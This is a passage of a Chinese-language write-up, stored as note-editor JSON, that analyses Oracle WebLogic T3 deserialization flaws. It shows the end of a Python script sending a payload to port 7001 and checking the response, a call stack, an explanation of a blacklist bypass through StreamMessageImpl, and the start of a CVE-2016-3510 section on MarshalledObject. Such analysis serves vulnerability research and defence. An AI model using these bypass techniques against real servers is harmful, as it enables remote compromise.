try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gett-1673857235209&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;twNr-1673857235208&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            res = sock.recv(4096)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8HG2-1673857235211&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IrBc-1673857235210&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            print(res)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oySx-1673857235213&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tEUJ-1673857235212&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return b&#39;weblogic.jms.common.StreamMessageImpl&#39; in res, {&#39;msg&#39;: &#39;finish.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mX2G-1673857235215&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;A7gH-1673857235214&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dh5R-1673857235217&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bEV7-1673857235216&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tGmf-1673857235219&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S8NE-1673857235218&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tT84-1673857235221&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B1Bb-1673857235220&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;if __name__ == \&#34;__main__\&#34;:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oWPD-1673857235223&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HVXG-1673857235222&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ip = \&#34;127.0.0.1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;shQl-1673857235225&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nFn8-1673857235224&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    port = 7001&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rnBz-1673857235227&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0OXI-1673857235226&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    light_up(dip=ip,dport=port)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;go&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7NEm-1673857548383&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5146/WEBRESOURCE2052105f36885e9f6fc0049a07cc5e08&#34;,&#34;width&#34;:1594,&#34;height&#34;:258},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WenO-1673857524118&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2NKN-1673857524117&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;跟一下代码：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QMkj-1673859739927&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rkAa-1673859739885&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4sek-1673859739884&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readExternal:1396, StreamMessageImpl (weblogic.jms.common)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jyNS-1673859739889&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2C6M-1673859739887&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readExternalData:1835, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VdSC-1673859739891&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AGJJ-1673859739890&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:1794, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m1iD-1673859739893&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W6pI-1673859739892&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1348, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1zw7-1673859739895&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v65q-1673859739894&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:370, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;adqS-1673859739897&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eDoT-1673859739896&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:66, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v0iL-1673859739900&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2AK5-1673859739898&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:38, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XlTr-1673859739902&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LegQ-1673859739901&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Dzck-1673859739904&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gYIB-1673859739903&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;init:213, MsgAbbrevInputStream (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VGCO-1673859739906&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UUD6-1673859739905&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fpuV-1673859739908&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JvaM-1673859739907&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jyyd-1673859739910&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sWeN-1673859739909&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7goy-1673859739912&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yYra-1673859739911&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocketOnce:967, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cF9H-1673859739914&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eUv5-1673859739913&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocket:899, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PVbM-1673859739916&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zFms-1673859739915&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;processSockets:130, PosixSocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ynlh-1673859739918&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fw1o-1673859739917&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:29, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UIwT-1673859739920&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;M5GU-1673859739919&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:42, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PVRQ-1673859739922&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MUTz-1673859739921&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:145, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NQGz-1673859739924&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fTbn-1673859739923&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:117, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lqcT-1673859739926&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xReg-1673859739925&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JMKl-1673860803282&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ujZf-1673860803283&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同样通过InboundMsgAbbrev为入口进行数据的read操作，但由于我们实现了StreamMessageImpl接口，反序列化过程将通过readOrdinaryObject方法调用readExternalData，进而进入到StreamMessageImpl.readExternal中绕过黑名单检测触发二次反序列化。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q6Bk-1673860810473&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5157/WEBRESOURCEac9022c8e018d447a7b9060cf0161306&#34;,&#34;width&#34;:683,&#34;height&#34;:435},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fZRS-1673861233583&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5172/WEBRESOURCEb5d2b8fb70b240fd6b87075d9a01eca2&#34;,&#34;width&#34;:681,&#34;height&#34;:434},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bi6l-1673861249592&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5174/WEBRESOURCE054963ec8bb5704dade19fbf183c769b&#34;,&#34;width&#34;:677,&#34;height&#34;:432},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qYQV-1673859772464&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5151/WEBRESOURCE60a529a6a8e28583e2e81d2d69f6f95d&#34;,&#34;width&#34;:689,&#34;height&#34;:438},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JVFv-1673857564118&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cFeS-1673857564116&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;从流量特征上看并无太多变化，主要还是weblogic.jms.common.StreamMessageImpl类的出现，而weblogicScaner也是基于response来判断vulnerability：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TUK6-1673861428607&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5179/WEBRESOURCE42fb31ca62eef9f0eda4591387da1b0a&#34;,&#34;width&#34;:599,&#34;height&#34;:516},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kShA-1673861461642&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5181/WEBRESOURCEa39f7080a5a3c049699d5ad93602ad1c&#34;,&#34;width&#34;:585,&#34;height&#34;:501},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pmtt-1673861452247&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GOVh-1673861452248&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ohYC-1673883639127&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nqTf-1673883639125&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2016-3510&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U4Ec-1673883240812&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KP5B-1673883240799&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VeU6-1673883779995&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vncG-1673883779996&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lnMs-1673883779998&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PLGv-1673883779999&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.2.1.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vwbd-1673883780000&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bONz-1673883780001&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6ai1-1673883780003&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nUAq-1673883780004&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.2.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6shM-1673883780006&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WYcJ-1673883780007&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0E1F-1673883780008&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b3jv-1673883780009&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同样是对补丁黑名单的绕过，这次使用的是&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.corba.utils.MarshalledObject&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;这个类：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gnJb-1673884872397&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Rfsi-1673884872337&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8n9Q-1673884872336&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public MarshalledObject(Object var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fT2Z-1673884872339&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TQzc-1673884872338&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (var1 == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SkU3-1673884872341&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OOvl-1673884872340&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.hash = 13;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JLg0-1673884872343&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zayc-1673884872342&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jFUB-1673884872345&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CCBw-1673884872344&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayOutputStream var2 = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tEcB-1673884872347&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5atc-1673884872346&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        MarshalledObjectOutputStream var3 = new MarshalledObjectOutputStream(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G32e-1673884872349&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qd9y-1673884872348&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.writeObject(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xm3T-1673884872351&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HqsD-1673884872350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.flush();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m3lX-1673884872353&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pKqW-1673884872352&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.objBytes = var2.toByteArray();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5fOw-1673884872355&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K19o-1673884872354&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        int var4 = 0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G85q-1673884872357&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xU1p-1673884872356&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;V4l2-1673884872359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gngO-1673884872358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        for(int var5 = 0; var5 &lt; this.objBytes.length; ++var5) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XlEY-1673884872361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z522-1673884872360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var4 = 31 * var4 + 